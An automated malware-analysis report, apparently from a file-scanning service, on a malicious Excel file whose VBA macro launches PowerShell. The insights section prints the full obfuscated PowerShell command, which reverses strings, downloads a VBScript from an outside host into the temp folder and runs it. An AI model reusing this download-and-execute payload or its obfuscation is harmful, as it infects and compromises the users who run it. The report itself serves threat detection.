Office (OLE) / .XLS malware analysis — malicious · 9c5baed19573433a

MALICIOUS

Office (OLE) / .XLS

32.5 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel First seen: 2022-08-24

MD5: 116bca474f0199d7da19a5e58ba4d228 SHA-1: 0f603bc2c0e240f2dbb3575b35bff40af9e3a19e SHA-256: 9c5baed19573433a8bfe16f640830414db9bbba9ec801c797eb3f866971ade98

100 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1059.005 Visual Basic T1105 Ingress Tool Transfer

The VBA macro contains a CreateObject call and a reference to PowerShell, indicating malicious intent. The embedded PowerShell command reconstructs to 'powershell -WindowStyle Hidden $ErrorActionPreference=\'SilentlyContinue\';$u4e0b0 = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $u4e0b0 ;$c50=\'eW.teN tc\' + \'ejbO-weN(\' ;$Ax1=\'olnwoD.)tnei\' + \'lCb\'; $c3=\')\'sbv.dapeton\''+pmet:vne$,\'sbv.tneilC detcetorP/igc/kt.gdceifv//:ptth\' (eliFda';$TC=$c3,$Ax1,$c50 -Join \'\';($TC|% {-join($_[-1..-$_.Length])})|IEX;& ($env:temp+ \'\notepad.vbs\')', which downloads and executes a VBScript from 'http://gdceifkt.org/pic/ProtectedClient.vbs' into the temporary directory as 'notepad.vbs'.

Heuristics 3

Reference to PowerShell high SC_STR_POWERSHELL

Reference to PowerShell
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `bbd08e0baf70a968807c23c3c5db5ad174899f4c64848448eb37c5f44048e719`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1377 bytes

Open this report in the interactive analyzer, or submit your own file for analysis.